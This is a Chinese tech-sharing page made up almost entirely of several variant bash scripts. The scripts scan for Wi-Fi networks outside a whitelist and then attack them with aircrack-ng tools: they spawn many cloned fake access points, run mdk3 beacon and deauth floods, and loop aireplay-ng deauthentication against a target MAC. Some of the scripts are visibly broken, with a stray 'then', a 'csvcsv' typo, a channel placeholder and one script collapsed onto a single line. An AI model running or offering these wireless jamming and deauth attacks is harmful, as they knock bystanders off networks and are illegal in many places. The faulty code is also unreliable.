欢迎各位兄弟 发布技术文章

这里的技术是共享的

You are here

aaaa

#!/bin/bash


# 允许的 SSID 列表

whitelist=("AAAA-Office" "AAAA-NST" "AAAA-MST" "AAAA-NYB" "AAAA-MYB")


# 检测时间间隔(秒)

check_interval=10

# 函数:验证 MAC 地址格式

is_valid_mac() {

    [[ $1 =~ ^([0-9a-fA-F]{2}[:-]){5}([0-9a-fA-F]{2})$ ]]

}


while true; do

    # 每次扫描以获取当前网络

    sudo airodump-ng wlan0mon --write output --output-format csv


    # 处理输出文件中的每一行,检查第一列是否在白名单

    while IFS=',' read -r first_col _ last_col; do

        # 检查第一列是否是 MAC 地址,并且最后一列不为空

        if is_valid_mac "$first_col" && [ -n "$last_col" ]; then

printf '%s\n' "${whitelist[@]}" | grep -Fxq "$last_col"; then

          if [ $? != 0 ];then

               for i in $(seq 1 50);do

                      sudo airbase-ng -e "$last_col" -c $((i %14 + 1 )) wlan0mon &

              done

        fi            

        else

            echo "Invalid entry or empty SSID: MAC: $first_col, SSID: $last_col"

        fi

    done < <(tail -n +2 output-01.csv)  # 跳过文件的第一行(表头)

    sleep "$check_interval"

done





#!/bin/bash

# 设置变量
AUTH_SSID=("my_wifi" "another_wifi")  # 在这里添加你的白名单SSID
NON_AUTH_SSID=("shi-tplink2")              # 非授权SSID
FLOOD_SSID="testwifi"                   # flood的SSID
INTERVAL=10                              # 检测间隔(以秒为单位)
SSID_COUNT=100                          # 扩展的SSID数量

while true; do
  # 扫描并查找SSID
  echo "Scanning for SSID..."
  sudo airodump-ng wlan0mon -d $NON_AUTH_SSID --output-format csv --write scan_result.csv --write-interval 1 &

  sleep $INTERVAL  # 等待指定时间

  # 检查是否检测到非授权SSID
  if grep -q $NON_AUTH_SSID scan_result-*.csv; then
    echo "Detected non-authorized SSID: $NON_AUTH_SSID"
    
    # 启动flood SSID
    echo "Starting SSID Flood for $SSID_COUNT times."
    
    for ((i=1; i<=$SSID_COUNT; i++)); do
      # 发送伪造的SSID
      sudo mdk3 wlan0mon d -g $FLOOD_SSID -c [频道] -m $SSID_COUNT

      # 等待一定时间(例如,每20秒发送一次)
      sleep 20
    done
  fi

  # 清理和结束扫描
  pkill airodump-ng
done




#!/bin/bash

# 配置参数
INTERFACE="wlan0mon"  # 你的监控模式接口名称
SCAN_DURATION=5      # 扫描持续时间(秒)
CHECK_INTERVAL=20    # 检查间隔(秒)
UNAUTHORIZED_SSID="testwifi"  # 非授权的SSID
SSID_FLOOD_COUNT=100  # 洪泛攻击释放的SSID数量
WHITELIST_FILE="whitelist.txt"  # 白名单文件路径

# 确保脚本具有管理员权限运行
if [ "$EUID" -ne 0 ]; then
  echo "请以root用户或使用sudo运行此脚本"
  exit
fi

# 函数:启动监控模式
start_monitor_mode() {
  airmon-ng start $INTERFACE
}

# 函数:停止监控模式
stop_monitor_mode() {
  airmon-ng stop $INTERFACE
}

# 函数:扫描并保存结果为CSV
scan_networks() {
  airodump-ng --output-format csv -w scan --write-interval $SCAN_DURATION $INTERFACE > /dev/null 2>&1 &
  sleep $SCAN_DURATION
  pkill airodump-ng
}

# 函数:从CSV读取内容并查找非授权SSID
check_unauthorized_ssid() {
  local found=0
  while IFS=, read -r bssid first_time seen_last channel speed privacy cipher auth power beacons iv lan_ip manufacturer essid; do
    if [[ "$essid" == *"$UNAUTHORIZED_SSID"* ]]; then
      for white in $(cat $WHITELIST_FILE); do
        if [[ "$bssid" == "$white" ]]; then
          found=0
          break
        else
          found=1
        fi
      done
      if [[ $found -eq 1 ]]; then
        return 0
      fi
    fi
  done < <(tail -n +2 scan-01.csv)
  return 1
}

# 函数:执行SSID洪泛攻击
ssid_flood_attack() {
  echo "开始针对SSID '$UNAUTHORIZED_SSID' 的洪泛攻击..."
  mdk3 $INTERFACE b -n "$UNAUTHORIZED_SSID" -c $SSID_FLOOD_COUNT
}

# 主逻辑
start_monitor_mode

while true; do
  scan_networks
  if check_unauthorized_ssid; then
    ssid_flood_attack
  else
    echo "未检测到非授权SSID '$UNAUTHORIZED_SSID'"
  fi
  sleep $CHECK_INTERVAL
done

# 清理操作
# 注意:这个清理命令不会被执行,因为上面的循环是无限的。
# 如果你需要终止脚本,请手动停止它。
stop_monitor_mode





#!/bin/bash # 监控模式的网卡接口名称 INTERFACE=wlan0mon # 监控模式启动后生成的接口名称(通常会自动添加mon后缀) MON_INTERFACE=$(sudo airmon-ng | grep "$INTERFACE" | awk '{print $NF}') # 白名单SSID列表,一行一个SSID WHITELIST_FILE="whitelist.txt" # 检测间隔时间(秒) INTERVAL=20 # 释放SSID的数量 FLOOD_COUNT=100 # 检查白名单文件是否存在 if [ ! -f "$WHITELIST_FILE" ]; then    echo "Whitelist file not found! Create $WHITELIST_FILE and add authorized SSIDs."    exit 1 fi # 读取白名单SSID readarray -t WHITELIST < "$WHITELIST_FILE" while true; do    # 获取当前环境中的SSID列表    SSID_LIST=$(sudo airodump-ng -w /tmp/airodump --output-format=csvcsv $MON_INTERFACE | grep -E 'ESSID,(.*)' | awk -F, '{print $2}' | sed 's/"//g' | sort | uniq)    for SSID in $SSID_LIST; do        # 检查SSID是否在白名单中        if ! [[ " ${WHITELIST[@]} " =~ " ${SSID} " ]]; then            echo "Unauthorized SSID detected: $SSID"            # 释放大量相同的SSID            for i in $(seq 1 $FLOOD_COUNT); do                sudo airbase-ng -e "$SSID" $MON_INTERFACE -P &                # 等待一小段时间以避免过多并发                sleep 0.1            done        fi    done    # 等待指定间隔时间    sleep $INTERVAL        # 清理之前的airbase-ng进程    pkill -f airbase-ng done





while true; do

    airodump-ng wlan0mon --write output --output-format csv

    # 检查输出文件,寻找非授权的 SSID

    if grep -q "testwifi" output-01.csv; then

        # 释放大量相同的 SSID

        for i in {1..100}; do

            aireplay-ng --deauth 10 -a <目标MAC地址> wlan0mon

        done

    fi

    sleep 10  # 或者 sleep 20

done


普通分类: